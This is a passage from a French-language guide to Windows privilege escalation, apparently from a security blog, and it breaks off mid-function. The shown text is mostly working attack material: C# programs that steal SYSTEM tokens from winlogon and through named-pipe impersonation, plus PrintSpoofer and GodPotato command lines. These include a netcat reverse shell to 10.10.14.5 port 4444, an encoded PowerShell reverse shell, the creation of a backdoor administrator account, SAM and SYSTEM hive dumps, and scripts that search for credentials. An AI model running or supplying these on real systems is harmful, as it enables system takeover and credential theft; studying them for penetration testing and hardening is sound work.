L'élévation de privilèges Windows représente le vecteur d'attaque le plus exploité en environnement Active Directory, permettant de transformer un accès utilisateur standard en contrôle SYSTEM ou Administrateur du domaine. Les techniques couvrent un spectre large : Potato attacks exploitant SeImpersonatePrivilege (de Hot Potato à GodPotato), manipulation de tokens d'accès, DLL hijacking sur des services vulnérables, contournement UAC, AlwaysInstallElevated, abus de tâches planifiées, named pipe impersonation avec PrintSpoofer, et extraction de credentials depuis SAM, LSASS et DPAPI. Le projet LOLBAS recense les binaires Windows légitimes détournables pour l'escalade. Ce guide exhaustif détaille chaque vecteur avec des exemples PowerShell et C# reproductibles en lab, les conditions de vulnérabilité précises, et les contre-mesures défensives pour durcir les postes de travail et serveurs Windows en environnement d'entreprise.

L'escalade de privilèges sous Windows constitue l'étape critique qui transforme un accès utilisateur standard — obtenu par phishing, exploitation d'un service exposé ou credentials compromis — en contrôle total du système avec les privilèges NT AUTHORITY\SYSTEM. Contrairement à Linux où la dichotomie root/non-root reste relativement simple, Windows implémente un modèle de sécurité multicouche basé sur les tokens d'accès, les privilèges granulaires, les SID, les ACL discrétionnaires et les niveaux d'intégrité. Cette architecture complexe multiplie les vecteurs d'attaque : token impersonation, services mal configurés, DLL hijacking, UAC bypass, tâches planifiées abusives, registre autorun, et toute une famille d'exploits "Potato" qui détournent les mécanismes d'impersonation natifs de Windows. En 2026, les systèmes Windows Server 2022/2025 et Windows 11 24H2 intègrent des défenses avancées comme Credential Guard, Windows Defender Application Control (WDAC) et les Attack Surface Reduction rules, mais ces protections ne sont pas systématiquement activées ni correctement configurées dans les environnements d'entreprise. La surface d'attaque reste considérable pour un attaquant patient qui maîtrise les subtilités du modèle de sécurité Windows. Cet article détaille les techniques d'escalade les plus efficaces en 2026, des classiques misconfigurations de services aux dernières recherches sur GodPotato et les contournements modernes, avec les commandes exactes, le code source des exploits et les stratégies de remédiation associées.

Exploitation avancée

Modèle de Sécurité Windows : Tokens, Privilèges et Niveaux d'Intégrité

Chaque processus Windows s'exécute avec un token d'accès qui encapsule l'identité complète du contexte de sécurité. Ce token contient le SID principal de l'utilisateur, la liste des groupes auxquels il appartient, les privilèges assignés (activés ou désactivés), le niveau d'intégrité et le type de session. Deux types de tokens existent : les tokens primaires (assignés au processus lors de sa création) et les tokens d'impersonation (utilisés par les threads pour agir temporairement au nom d'un autre utilisateur). Cette distinction est fondamentale pour comprendre les attaques de type Potato et named pipe impersonation, car c'est le token d'impersonation qui est capturé lors de ces attaques avant d'être converti en token primaire pour créer un processus enfant.

Structure interne d'un Token et Security Reference Monitor

Le kernel Windows maintient une structure TOKEN dans l'espace noyau qui référence toutes les informations de sécurité. Cette structure est opaque depuis le userland — on n'y accède qu'à travers les API documentées comme GetTokenInformation, AdjustTokenPrivileges ou DuplicateTokenEx. Lorsqu'un processus tente d'accéder à une ressource, le Security Reference Monitor (SRM) compare le token du processus appelant avec le Security Descriptor de la ressource cible. Le Security Descriptor contient un DACL (Discretionary Access Control List) qui spécifie quels SID ont accès et avec quels droits, ainsi qu'un SACL (System Access Control List) utilisé pour l'audit. Ce mécanisme de vérification s'applique à chaque opération sans exception : ouverture de fichier, lecture de clé de registre, communication inter-processus, accès réseau, modification de service. La granularité de ce modèle — avec des dizaines de droits d'accès spécifiques par type d'objet — crée une complexité qui génère inévitablement des misconfigurations exploitables.

# Examiner le token du processus courant avec tous les détails
whoami /all

# Lister les privilèges avec leur état (Enabled/Disabled)
whoami /priv

# Détail complet via PowerShell - inclut les claims et les groupes
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Format-List *

# Vérifier le niveau d'intégrité du processus courant
whoami /groups | findstr "Label"

# Énumérer les tokens accessibles sur le système (nécessite SeDebugPrivilege)
# Via PowerShell avec Get-NtToken du module NtObjectManager
Import-Module NtObjectManager
Get-NtToken -Primary -ProcessId (Get-Process lsass).Id

# Lister tous les processus avec leur niveau d'intégrité
Get-Process | ForEach-Object {
    try {
        $token = Get-NtToken -Primary -ProcessId $_.Id
        [PSCustomObject]@{
            PID = $_.Id
            Name = $_.ProcessName
            User = $token.User.Sid.Name
            Integrity = $token.IntegrityLevel
            SessionId = $token.SessionId
        }
    } catch {}
} | Format-Table -AutoSize

# Vérifier les privilèges d'un processus spécifique
Get-NtToken -Primary -ProcessId (Get-Process winlogon).Id | Select-Object -ExpandProperty Privileges

Niveaux d'intégrité et Mandatory Integrity Control

Windows implémente cinq niveaux d'intégrité principaux organisés hiérarchiquement : Untrusted (S-1-16-0), Low (S-1-16-4096) utilisé par les processus sandboxés comme les onglets de navigateur, Medium (S-1-16-8192) qui est le niveau par défaut pour les utilisateurs standard et les administrateurs filtrés par UAC, High (S-1-16-12288) pour les processus administrateurs après élévation UAC, et System (S-1-16-16384) pour les services système et SYSTEM. Le Mandatory Integrity Control (MIC) ajoute une couche de protection orthogonale aux DACL : il empêche un processus de niveau inférieur d'écrire dans les objets de niveau supérieur (no-write-up), indépendamment des permissions DACL. Concrètement, même si un DACL accorde le droit Write à Everyone sur un fichier, un processus Low integrity ne pourra pas y écrire si le fichier possède un label Medium ou supérieur.

Exploitation avancée

Cette protection MIC ne bloque cependant pas la lecture vers le haut par défaut (la politique est no-write-up, pas no-read-up). Un processus Medium peut donc lire les fichiers des processus High si les DACL l'autorisent. Cette asymétrie est importante : elle permet à un attaquant en Medium integrity de collecter des informations sur les processus élevés sans pouvoir les modifier directement. La compréhension de ces mécanismes détermine quelles techniques sont applicables à chaque niveau d'intégrité et quelles transitions sont possibles.

Point fondamental : L'escalade de privilèges Windows ne signifie pas toujours passer directement de Medium à SYSTEM. Elle peut impliquer plusieurs transitions : l'activation de privilèges désactivés dans le token courant (privilèges présents mais dormants), le passage de Low à Medium (sandbox escape depuis un navigateur ou un viewer PDF), le contournement de l'UAC (Medium vers High sans popup), ou l'impersonation d'un token SYSTEM via named pipes ou COM. Chaque étape utilise des vecteurs complètement différents et la stratégie d'attaque doit s'adapter au contexte exact du token actuel. Un auditeur qui ne vérifie pas le niveau d'intégrité et les privilèges disponibles avant de choisir sa technique perd du temps sur des approches inapplicables.

Énumération Initiale : Cartographier la Surface d'Attaque

Avant toute tentative d'escalade, une énumération méthodique permet d'identifier les vecteurs exploitables. Cette phase de reconnaissance locale collecte les informations sur le système d'exploitation, son niveau de patch, les services installés et leurs configurations, les tâches planifiées, les logiciels tiers, les credentials en cache, les misconfigurations de permissions sur les fichiers et le registre, et les connexions réseau actives. L'objectif est d'établir une cartographie complète des chemins possibles vers SYSTEM en quelques minutes, avant de se concentrer sur les vecteurs les plus prometteurs.

L'énumération doit être systématique et couvrir cinq domaines principaux : l'environnement système (version OS, patches, architecture), les comptes et privilèges (utilisateurs, groupes, tokens), les services et processus (configurations, permissions, binaires), le stockage de données sensibles (credentials, historiques, fichiers de configuration) et la surface réseau (connexions, partages, ports en écoute). Chaque domaine peut révéler des vecteurs d'escalade distincts et c'est leur combinaison qui permet souvent de construire une chaîne d'exploitation complète.

# Informations système de base et niveau de patch
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"

# Architecture et version exacte pour cibler les exploits kernel
[Environment]::Is64BitOperatingSystem
[Environment]::OSVersion.Version
(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").DisplayVersion

# Utilisateurs et groupes locaux - identifier les comptes intéressants
net user
net localgroup administrators
Get-LocalGroupMember -Group "Administrators"
Get-LocalGroupMember -Group "Backup Operators"
Get-LocalGroupMember -Group "Remote Desktop Users"

# Services en cours d'exécution avec leur compte d'exécution
Get-CimInstance Win32_Service | Where-Object {$_.State -eq "Running"} |
    Select-Object Name, DisplayName, StartName, PathName, StartMode |
    Format-Table -AutoSize

# Programmes installés (vecteur DLL hijacking et vulnérabilités connues)
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
    Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
    Sort-Object InstallDate -Descending | Format-Table -AutoSize

# Recherche de fichiers contenant des credentials en clair
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.json,*.ps1,*.bat -File -Recurse -ErrorAction SilentlyContinue |
    Select-String -Pattern "password|passwd|pwd|credential|secret|apikey|connectionstring" -SimpleMatch |
    Select-Object Path, LineNumber, Line | Format-Table -AutoSize

# Historique PowerShell - souvent contient des mots de passe tapés
Get-Content (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# Connexions réseau actives et ports en écoute
netstat -ano | findstr "LISTENING\|ESTABLISHED"

# Tâches planifiées détaillées
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type\|Next Run"

# Vérifier les antivirus et EDR actifs (adapter la stratégie)
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue |
    Select-Object displayName, productState
Get-Process | Where-Object { $_.ProcessName -match "MsMpEng|CrowdStrike|Sentinel|Carbon|Cylance|Sophos" }

# Vérifier si Windows Defender est actif et ses exclusions
Get-MpPreference | Select-Object DisableRealtimeMonitoring, ExclusionPath, ExclusionExtension

Les outils automatisés comme WinPEAS, PowerUp (PowerSploit), SharpUp, Seatbelt et PrivescCheck accélèrent considérablement cette phase d'énumération. WinPEAS en particulier produit un rapport exhaustif couvrant des centaines de vecteurs potentiels en quelques secondes, avec un code couleur qui met en évidence les findings critiques. L'approche recommandée combine un scan automatisé initial suivi d'une vérification manuelle des résultats les plus prometteurs. Les outils automatisés peuvent générer des faux positifs, et certaines configurations subtiles nécessitent une analyse humaine pour être correctement évaluées. Pour plus de détails sur la reconnaissance réseau préalable qui précède l'obtention d'un shell, consultez notre guide sur l'énumération réseau avec Nmap.

Exploitation avancée

# Exécution de WinPEAS (version .NET - la plus complète)
.\winPEASany.exe quiet servicesinfo applicationsinfo windowscreds userinfo

# PowerUp - Invoke-AllChecks (PowerSploit)
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\temp\powerup-results.txt

# SharpUp - équivalent compilé de PowerUp (évite AMSI sur les scripts)
.\SharpUp.exe audit

# Seatbelt - collecte d'informations ciblée par catégorie
.\Seatbelt.exe -group=all -full -outputfile=C:\temp\seatbelt.json

# PrivescCheck - module PowerShell moderne et maintenu activement
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report PrivescCheck_Results -Format HTML

Manipulation de Tokens, SeImpersonatePrivilege et Named Pipe Impersonation

La manipulation de tokens constitue le fondement théorique et pratique de nombreuses techniques d'escalade sous Windows. Lorsqu'un attaquant dispose du privilège SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege, il peut créer des processus dans le contexte de sécurité d'un autre utilisateur, y compris SYSTEM. Ce privilège est attribué par défaut aux comptes de service (LOCAL SERVICE, NETWORK SERVICE), aux comptes IIS (ApplicationPoolIdentity), aux comptes SQL Server, aux comptes de service managés (MSA/gMSA) et à tout compte configuré pour exécuter un service Windows. En environnement d'entreprise, on retrouve fréquemment ce privilège sur les serveurs web, les serveurs de bases de données, les serveurs d'applications et les serveurs de fichiers.

Le mécanisme d'impersonation Windows est conçu pour permettre aux serveurs de traiter les requêtes des clients avec les permissions du client plutôt qu'avec les leurs. Par exemple, un serveur de fichiers SMB impersonne chaque client qui se connecte pour vérifier les permissions d'accès aux fichiers demandés. Ce mécanisme légitime devient un vecteur d'attaque lorsqu'un attaquant peut forcer un processus privilégié (SYSTEM) à se connecter à une ressource qu'il contrôle — typiquement un named pipe — puis capturer le token d'impersonation résultant.

Token Stealing avec SeDebugPrivilege

Si l'attaquant dispose de SeDebugPrivilege (typiquement activé pour les administrateurs locaux après élévation UAC), il peut ouvrir un handle vers n'importe quel processus du système, dupliquer son token et créer un nouveau processus avec ce token. Cette technique est directe mais nécessite un niveau de privilège déjà élevé — elle sert principalement à passer de High integrity (admin) à SYSTEM sans passer par un service.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class TokenStealer
{
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
        IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags,
        string lpApplicationName, string lpCommandLine, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX, dwY, dwXSize, dwYSize;
        public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
        public short wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public uint dwProcessId, dwThreadId;
    }

    const uint TOKEN_ALL_ACCESS = 0xF01FF;
    const uint MAXIMUM_ALLOWED = 0x02000000;
    const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;

    public static void StealFromProcess(int targetPid, string command = "cmd.exe")
    {
        // Ouvrir le processus cible
        IntPtr hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, targetPid);
        if (hProcess == IntPtr.Zero)
        {
            Console.WriteLine($"[-] OpenProcess échoué : {Marshal.GetLastWin32Error()}");
            return;
        }

        // Obtenir le token du processus
        IntPtr hToken;
        if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken))
        {
            Console.WriteLine($"[-] OpenProcessToken échoué : {Marshal.GetLastWin32Error()}");
            return;
        }

        // Dupliquer le token en token primaire
        IntPtr hNewToken;
        if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, IntPtr.Zero, 2, 1, out hNewToken))
        {
            Console.WriteLine($"[-] DuplicateTokenEx échoué : {Marshal.GetLastWin32Error()}");
            return;
        }

        // Créer un processus avec le token volé
        STARTUPINFO si = new STARTUPINFO();
        si.cb = Marshal.SizeOf(si);
        PROCESS_INFORMATION pi;

        if (CreateProcessWithTokenW(hNewToken, 0, null, command,
            0x00000010, IntPtr.Zero, null, ref si, out pi))
        {
            Console.WriteLine($"[+] Processus créé avec PID: {pi.dwProcessId}");
            Console.WriteLine($"[+] Token volé depuis PID: {targetPid}");
        }
        else
        {
            Console.WriteLine($"[-] CreateProcessWithTokenW échoué : {Marshal.GetLastWin32Error()}");
        }
    }

    public static void Main(string[] args)
    {
        // Cibler winlogon.exe (toujours SYSTEM)
        var winlogon = Process.GetProcessesByName("winlogon")[0];
        Console.WriteLine($"[*] Cible : winlogon.exe (PID {winlogon.Id})");
        StealFromProcess(winlogon.Id);
    }
}

Impersonation via Named Pipes : le mécanisme fondamental

Les named pipes Windows constituent un mécanisme de communication inter-processus (IPC) bidirectionnel. Le serveur du pipe peut appeler ImpersonateNamedPipeClient() après qu'un client s'est connecté, ce qui lui permet d'exécuter du code dans le contexte de sécurité du client. Si un processus SYSTEM se connecte à un named pipe contrôlé par l'attaquant, ce dernier obtient un token d'impersonation SYSTEM. Le token d'impersonation peut ensuite être dupliqué en token primaire via DuplicateTokenEx, puis utilisé avec CreateProcessWithTokenW pour lancer un processus enfant en tant que SYSTEM.

Manipulation de privilèges

La difficulté réside dans le fait de forcer un processus SYSTEM à se connecter au pipe contrôlé. Plusieurs techniques existent pour ce "triggering" : les attaques Potato exploitent COM/DCOM/RPC pour forcer la connexion, PrintSpoofer utilise le service Print Spooler, EfsPotato utilise le service EFS (Encrypting File System), et des techniques custom peuvent exploiter tout service qui se connecte à des pipes dont le nom est prévisible ou configurable.

using System;
using System.IO.Pipes;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;

public class NamedPipeImpersonation
{
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool RevertToSelf();

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
        IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags,
        string lpApplicationName, string lpCommandLine, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess,
        bool OpenAsSelf, out IntPtr TokenHandle);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentThread();

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public int cb; public string lpReserved; public string lpDesktop;
        public string lpTitle; public uint dwX, dwY, dwXSize, dwYSize;
        public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
        public short wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public uint dwProcessId, dwThreadId;
    }

    const uint TOKEN_ALL_ACCESS = 0xF01FF;

    public static void RunPipeServer(string pipeName, string command)
    {
        Console.WriteLine($"[*] Création du named pipe: \\\\.\\pipe\\{pipeName}");

        var pipeSecurity = new PipeSecurity();
        pipeSecurity.AddAccessRule(new PipeAccessRule(
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            PipeAccessRights.ReadWrite,
            System.Security.AccessControl.AccessControlType.Allow));

        using (var pipeServer = new NamedPipeServerStream(pipeName,
            PipeDirection.InOut, 1, PipeTransmissionMode.Byte,
            PipeOptions.None, 1024, 1024, pipeSecurity))
        {
            Console.WriteLine("[*] En attente de connexion d'un processus privilégié...");
            pipeServer.WaitForConnection();
            Console.WriteLine("[+] Client connecté !");

            // Impersonation du client connecté
            pipeServer.RunAsClient(() =>
            {
                var identity = WindowsIdentity.GetCurrent();
                Console.WriteLine($"[+] Impersonation réussie : {identity.Name}");
                Console.WriteLine($"[+] SID : {identity.User}");
                Console.WriteLine($"[+] IsSystem : {identity.IsSystem}");

                if (identity.IsSystem || identity.Name.Contains("SYSTEM"))
                {
                    // Capturer le token d'impersonation
                    IntPtr threadToken;
                    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out threadToken);

                    // Convertir en token primaire
                    IntPtr primaryToken;
                    DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, IntPtr.Zero, 2, 1, out primaryToken);

                    // Créer un processus SYSTEM
                    STARTUPINFO si = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)) };
                    PROCESS_INFORMATION pi;
                    CreateProcessWithTokenW(primaryToken, 0, null, command,
                        0x00000010, IntPtr.Zero, null, ref si, out pi);

                    Console.WriteLine($"[+] Processus SYSTEM lancé ! PID: {pi.dwProcessId}");
                }
            });
        }
    }
}

Privilèges critiques pour l'escalade : SeImpersonatePrivilege permet d'impersonner un token obtenu via named pipe ou COM (base de toutes les attaques Potato). SeAssignPrimaryTokenPrivilege permet de créer des processus avec un token primaire arbitraire. SeDebugPrivilege permet d'ouvrir n'importe quel processus et dupliquer son token. SeBackupPrivilege permet de lire n'importe quel fichier du système (extraction SAM/SYSTEM/NTDS.dit). SeRestorePrivilege permet d'écrire n'importe quel fichier (DLL hijacking dans System32). SeTakeOwnershipPrivilege permet de devenir propriétaire de tout objet sécurisable puis modifier ses ACL. SeLoadDriverPrivilege permet de charger des drivers kernel (BYOVD).

Exploitation kernel

Attaques Potato : De Hot Potato à GodPotato et CoercedPotato

La famille d'exploits "Potato" représente l'évolution la plus marquante des techniques d'escalade de privilèges Windows de la dernière décennie. Ces attaques exploitent toutes le même principe fondamental : forcer un processus SYSTEM à s'authentifier (via NTLM ou Kerberos) auprès d'une ressource contrôlée par l'attaquant, capturer le token d'authentification, puis l'utiliser pour créer un processus en tant que SYSTEM. Le prérequis commun est SeImpersonatePrivilege, qui permet de manipuler les tokens capturés. L'évolution des Potato reflète le jeu constant entre les corrections de Microsoft et la créativité des chercheurs en sécurité qui trouvent de nouveaux chemins pour forcer l'authentification SYSTEM.

Évolution chronologique et comparaison des Potato

ExploitAnnéeMécanisme de coercionPrérequis spécifiquesStatut 2026
Hot Potato2016NBNS spoofing + WPAD + NTLM relay localSeImpersonatePrivilegeCorrigé (MS16-075)
Rotten Potato2016DCOM activation + BITS NTLM relay vers RPC localSeImpersonatePrivilege + BITSPartiellement corrigé
Juicy Potato2018DCOM activation avec CLSID arbitraireSeImpersonatePrivilege + CLSID valideCorrigé sur Server 2019+
Rogue Potato2020Fake OXID resolver + impersonationSeImpersonatePrivilege + machine distante pour redirectPartiellement corrigé
Sweet Potato2020Collection : WinRM, BITS, DCOM, SpoolSSSeImpersonatePrivilege + service disponibleVariable selon la technique
PrintSpoofer2020Named pipe impersonation via SpoolSS RPCSeImpersonatePrivilege + Spooler actifFonctionne (service dependent)
EfsPotato2021EFS RPC (EfsRpcOpenFileRaw) - PetitPotam localSeImpersonatePrivilegePartiellement corrigé
GodPotato2022Manipulation directe RPCSS via DCOM unmarshallingSeImpersonatePrivilege uniquementFonctionne universellement
CoercedPotato2023Multiple méthodes de coercion combinées automatiquementSeImpersonatePrivilegeFonctionne universellement

PrintSpoofer : exploitation du Print Spooler

PrintSpoofer exploite le fait que le service Print Spooler (SpoolSS) se connecte à des named pipes lorsqu'un client demande une notification de changement d'imprimante via l'API RPC RpcRemoteFindFirstPrinterChangeNotificationEx. L'attaquant crée un named pipe avec un nom au format \\.\pipe\spoolss suivi d'un chemin arbitraire, puis utilise l'API SpoolSS pour forcer le service à se connecter. Comme SpoolSS s'exécute en tant que SYSTEM, le token obtenu par impersonation est un token SYSTEM complet avec tous les privilèges. La limitation principale est la nécessité que le service Print Spooler soit actif — Microsoft recommande désormais sa désactivation sur les serveurs qui n'en ont pas besoin, en particulier sur les Domain Controllers après PrintNightmare.

REM Vérifier que le service Print Spooler est actif
sc query Spooler

REM PrintSpoofer - exécution interactive en SYSTEM
PrintSpoofer64.exe -i -c "cmd.exe"
PrintSpoofer64.exe -i -c "powershell.exe -ep bypass"

REM Exécution d'une commande spécifique (non interactive)
PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\proof.txt"

REM Avec redirection vers un reverse shell
PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

REM Version pour pipe name personnalisé (évasion de détection)
PrintSpoofer64.exe -p "CustomPipeName" -i -c "cmd.exe"

GodPotato : la technique universelle sans dépendance de service

GodPotato représente l'avancée la plus significative de la famille Potato depuis Juicy Potato. Développé par BeichenDream, cet exploit manipule directement le service RPCSS (RPC Subsystem) — un service fondamental de Windows qui ne peut être ni désactivé ni arrêté. La technique exploite le processus d'unmarshalling DCOM pour forcer une authentification SYSTEM vers un pipe contrôlé par l'attaquant, sans dépendre d'un service optionnel comme le Print Spooler ou BITS. Cette universalité rend GodPotato efficace sur toutes les versions de Windows de 2012 R2 à Server 2022 et de Windows 8.1 à Windows 11 24H2, indépendamment du niveau de patch appliqué pour les techniques précédentes.

Exploitation avancée

REM GodPotato - vérification simple (whoami en SYSTEM)
GodPotato-NET4.exe -cmd "cmd /c whoami"

REM Exécution de commandes administratives
GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd2026! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"

REM Reverse shell PowerShell encodé base64
GodPotato-NET4.exe -cmd "cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0..."

REM Dump des credentials (SAM/SYSTEM)
GodPotato-NET4.exe -cmd "cmd /c reg save HKLM\SAM C:\Windows\Temp\s"
GodPotato-NET4.exe -cmd "cmd /c reg save HKLM\SYSTEM C:\Windows\Temp\y"

REM Version .NET 2.0 pour les anciens systèmes (Server 2012 R2)
GodPotato-NET2.exe -cmd "cmd /c whoami"

REM CoercedPotato - alternative avec tentative de multiples méthodes
CoercedPotato.exe --exploit EfsRpc -c "cmd /c whoami"
CoercedPotato.exe --exploit PrintSpooler -c "cmd /c whoami"
CoercedPotato.exe --exploit MS-RPRN -c "cmd /c whoami"

Pour comprendre les mécanismes d'authentification Windows sous-jacents exploités par ces attaques, notre article sur NTLM et Kerberos en profondeur fournit le contexte théorique nécessaire.

Services Windows Mal Configurés et Unquoted Service Paths

Les services Windows constituent l'un des vecteurs d'escalade les plus fréquents en environnement d'entreprise. Un service qui s'exécute avec des privilèges élevés (LocalSystem, LocalService, un compte admin) mais dont le binaire, le répertoire ou les permissions de configuration sont accessibles à un utilisateur standard offre un chemin direct vers l'escalade. Trois catégories principales de misconfiguration existent : les permissions faibles sur le binaire du service (remplacement direct), les chemins non quotés — unquoted service paths — qui permettent l'injection d'un binaire intermédiaire, et les permissions de modification de la configuration du service lui-même (changement du binpath). En environnement réel, ces vulnérabilités sont omniprésentes dans les applications tierces qui ne suivent pas les bonnes pratiques d'installation Windows.

Permissions faibles sur les binaires de service

Si l'utilisateur courant peut écrire dans le répertoire du binaire d'un service ou remplacer le binaire lui-même, il peut substituer un exécutable malveillant qui sera lancé avec les privilèges du compte de service au prochain redémarrage. Les installeurs qui configurent des permissions permissives sur leur répertoire d'installation (accordant Write ou Modify à BUILTIN\Users ou Authenticated Users) sont les cibles principales de cette technique.

# Identifier les services avec des binaires inscriptibles par l'utilisateur courant
Get-CimInstance Win32_Service | ForEach-Object {
    $path = $_.PathName -replace '"', '' -replace '\s+/.*', '' -replace '\s+-.*', ''
    if ($path -and (Test-Path $path)) {
        $acl = Get-Acl $path -ErrorAction SilentlyContinue
        if ($acl) {
            foreach ($access in $acl.Access) {
                if ($access.FileSystemRights -match "Write|FullControl|Modify" -and
                    $access.IdentityReference -match "Users|Everyone|BUILTIN\\Users|Authenticated Users") {
                    [PSCustomObject]@{
                        Service = $_.Name
                        Path = $path
                        StartMode = $_.StartMode
                        RunAs = $_.StartName
                        Identity = $access.IdentityReference
                        Rights = $access.FileSystemRights
                    }
                }
            }
        }
    }
}

# Vérifier aussi les répertoires parents (inscriptibles = DLL hijacking possible)
Get-CimInstance Win32_Service | ForEach-Object {
    $path = $_.PathName -replace '"', '' -replace '\s+/.*', '' -replace '\s+-.*', ''
    if ($path) {
        $dir = Split-Path $path -Parent
        if ($dir -and (Test-Path $dir)) {
            $acl = Get-Acl $dir -ErrorAction SilentlyContinue
            if ($acl) {
                foreach ($access in $acl.Access) {
                    if ($access.FileSystemRights -match "Write|FullControl|Modify|CreateFiles" -and
                        $access.IdentityReference -match "Users|Everyone|Authenticated") {
                        [PSCustomObject]@{
                            Service = $_.Name
                            Directory = $dir
                            RunAs = $_.StartName
                            Identity = $access.IdentityReference
                            Rights = $access.FileSystemRights
                            Vector = "DLL Hijacking dans répertoire service"
                        }
                    }
                }
            }
        }
    }
}

# Vérification avec accesschk.exe (Sysinternals) - plus rapide pour de gros volumes
accesschk.exe /accepteula -wvu "C:\Program Files\*\*.exe"
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

Unquoted Service Paths : exploitation de la résolution de chemin

Lorsqu'un chemin de service contient des espaces et n'est pas entouré de guillemets dans le registre, Windows applique un algorithme de résolution séquentielle. Pour un service enregistré avec le chemin C:\Program Files\Vuln App\Service\binary.exe, Windows tente de localiser l'exécutable dans l'ordre suivant : d'abord C:\Program.exe, puis C:\Program Files\Vuln.exe, puis C:\Program Files\Vuln App\Service\binary.exe. À chaque tentative, si le fichier existe, il est exécuté. Si l'attaquant peut écrire dans un des répertoires intermédiaires, il place un exécutable portant le nom approprié, et celui-ci sera exécuté avec les privilèges du service lors du prochain démarrage.

Manipulation de privilèges

# Trouver tous les services avec des chemins non quotés contenant des espaces
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -and
    $_.PathName -notmatch '^"' -and
    $_.PathName -match '.+\s.+\.exe' -and
    $_.PathName -notmatch '^C:\\Windows\\'
} | Select-Object Name, PathName, StartName, StartMode | Format-Table -AutoSize

# Version CMD (classique en pentest)
wmic service get name,displayname,pathname,startmode 2>nul | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Pour chaque service vulnérable, vérifier les permissions d'écriture
# sur les répertoires intermédiaires
function Test-UnquotedPath {
    param([string]$ServicePath)
    $parts = $ServicePath -replace '"', '' -split '\\'
    $testPath = ""
    for ($i = 0; $i -lt $parts.Count - 1; $i++) {
        $testPath += $parts[$i] + "\"
        if ($parts[$i] -match '\s') {
            $parentDir = $testPath.TrimEnd('\')
            $parentDir = $parentDir.Substring(0, $parentDir.LastIndexOf('\'))
            if (Test-Path $parentDir) {
                $acl = Get-Acl $parentDir
                $writable = $acl.Access | Where-Object {
                    $_.FileSystemRights -match "Write|Modify|FullControl" -and
                    $_.IdentityReference -match "Users|Everyone|Authenticated"
                }
                if ($writable) {
